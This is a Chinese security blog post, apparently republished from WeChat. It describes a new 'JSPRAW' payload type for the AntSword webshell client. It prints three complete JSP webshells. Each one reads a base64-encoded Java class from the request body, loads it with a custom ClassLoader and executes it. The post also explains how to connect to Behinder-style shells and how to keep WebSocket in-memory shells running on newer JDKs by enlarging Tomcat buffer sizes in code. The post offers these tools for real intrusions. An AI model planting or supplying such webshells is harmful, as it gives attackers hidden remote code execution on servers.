AntSword新增类型:JSPRAW的一些玩法
2024-9-23 18:32:32 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

背景

最近给AntSword新增了一种类型:JSPRAW,主要有以下两点改进:

  • JSPRAW不再使用其他参数进行传参,同时支持key-value键值对以及raw传参形式

  • 新增toString触发方式,Payload可以不用依赖外部request/response对象,兼容非HTTP场景

接下来以几个实际场景讲讲这个新类型有哪些应用。

具体应用

一键连接冰蝎的JSP Shell

JSPRAW支持如下Shell写法,类似冰蝎,直接发送RAW格式的Payload。

需要注意的是这时候设置密码是不生效的,随便填即可,另外需要在设置里勾选 其他设置-Body设置为RAW模式。如果不勾选的话就是键值对传参形式,可以兼容原来的Shell写法。

  1. <%!

  2. class U extends ClassLoader {

  3. U(ClassLoader c) {

  4. super(c);

  5. }

  6. public Class g(byte[] b) {

  7. return super.defineClass(b, 0, b.length);

  8. }

  9. }

  10. public byte[] base64Decode(String str) throws Exception {

  11. try {

  12. Class clazz = Class.forName("sun.misc.BASE64Decoder");

  13. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

  14. } catch (Exception e) {

  15. Class clazz = Class.forName("java.util.Base64");

  16. Object decoder = clazz.getMethod("getDecoder").invoke(null);

  17. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

  18. }

  19. }

  20. %>

  21. <%

  22. String cls = request.getReader().readLine();

  23. if (cls != null) {

  24. new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});

  25. }

  26. %>

此时传递的Payload形式如下

既然已经是冰蝎的传参形式了,那么我们只要配合特定的编码器,就可以直接连接冰蝎的Shell了

设置里需要勾选 Body设置为RAW模式

正常连接

抓包可以看到,蚁剑也同样实现了冰蝎的强加密能力。一个Shell,两种用法。

可以再单独写一个解码器对回显包进行二次编码,这里就不再展开

兼容非HTTP场景

在实战中我们会遇到一些非HTTP的情况,例如WebSocket内存马,WebFlux内存马,表达式注入等。因此JSPRAW做了一些改进,以兼容这类利用场景。

在Payload中增加了一个toString的调用入口,可以把执行的回显信息保存到一个字符串里并且return

只调用toString的Shell样例如下:

  1. <%!

  2. class U extends ClassLoader {

  3. U(ClassLoader c) {

  4. super(c);

  5. }

  6. public Class g(byte[] b) {

  7. return super.defineClass(b, 0, b.length);

  8. }

  9. }

  10. public byte[] base64Decode(String str) throws Exception {

  11. try {

  12. Class clazz = Class.forName("sun.misc.BASE64Decoder");

  13. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

  14. } catch (Exception e) {

  15. Class clazz = Class.forName("java.util.Base64");

  16. Object decoder = clazz.getMethod("getDecoder").invoke(null);

  17. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

  18. }

  19. }

  20. %>

  21. <%

  22. String cls = request.getReader().readLine();

  23. if (cls != null) {

  24. out.print(new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance());

  25. }

  26. %>

正常连接

并且equals跟toString可以同时使用,equals拿到request对象后,还可以同时通过toString获取回显。

这样的写法主要是可以兼容一些漏洞利用场景,不需要每次额外去做判断。不理解的小伙伴多写几个利用EXP就明白我什么意思了。

  1. <%!

  2. class U extends ClassLoader {

  3. U(ClassLoader c) {

  4. super(c);

  5. }

  6. public Class g(byte[] b) {

  7. return super.defineClass(b, 0, b.length);

  8. }

  9. }

  10. public byte[] base64Decode(String str) throws Exception {

  11. try {

  12. Class clazz = Class.forName("sun.misc.BASE64Decoder");

  13. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

  14. } catch (Exception e) {

  15. Class clazz = Class.forName("java.util.Base64");

  16. Object decoder = clazz.getMethod("getDecoder").invoke(null);

  17. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

  18. }

  19. }

  20. %>

  21. <%

  22. String cls = request.getReader().readLine();

  23. if (cls != null) {

  24. Object obj = new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance();

  25. obj.equals(new Object[]{request,response});

  26. out.print(obj.toString());

  27. }

  28. %>

正常连接

高版本JDK下的WebSocket内存马

这里举一个例子:高版本JDK下如何连接WebSocket内存马

背景是蚁剑很早就支持了WebSocket类型的内存马,在JDK<=14的时候可以用Js引擎来实现WebSocket内存马的连接Payload,但是从JDK15开始Js引擎被移除,就无法再使用了。

现在有了JSPRAW之后,WebSocket内存马就不存在高版本JDK的兼容性问题了,可以一直支持到最新的JDK22。

测试的时候还遇到了一个小坑,注入WS内存马以后连接发现只能执行第一个包,后面的包都没有回复。

debug了一番发现原因是Tomcat中WebSocke 发送信息默认长度为8kb,而后续的Payload超过了这个大小。

正常的做法是修改web.xml调大这个参数

  1. <context-param>

  2. <param-name>org.apache.tomcat.websocket.textBufferSize</param-name>

  3. <param-value>5242800</param-value>

  4. </context-param>

当然我们不可能去修改web.xml了,代码里找一下在哪里调用的,修改掉就好了

  1. ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

  2. container.setDefaultMaxTextMessageBufferSize(52428800); // 设置为50m

  3. container.setDefaultMaxBinaryMessageBufferSize(52428800);

这样就可以正常连接了

最后

代码已经同步到github:https://github.com/AntSwordProject/AntSword-JSP-Template/tree/jspraw

实战是检验真理的唯一标准,你还有什么建议或者新的玩法呢?欢迎一起讨论:)


文章来源: https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247484614&idx=1&sn=97d5a5e57753a30d6bfb16f32027b9b5&chksm=e91c5f3ede6bd6285ed1857dff9f1fadbcc99fd76464d998989c2ffc444be29a6a87d2ea3fca&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh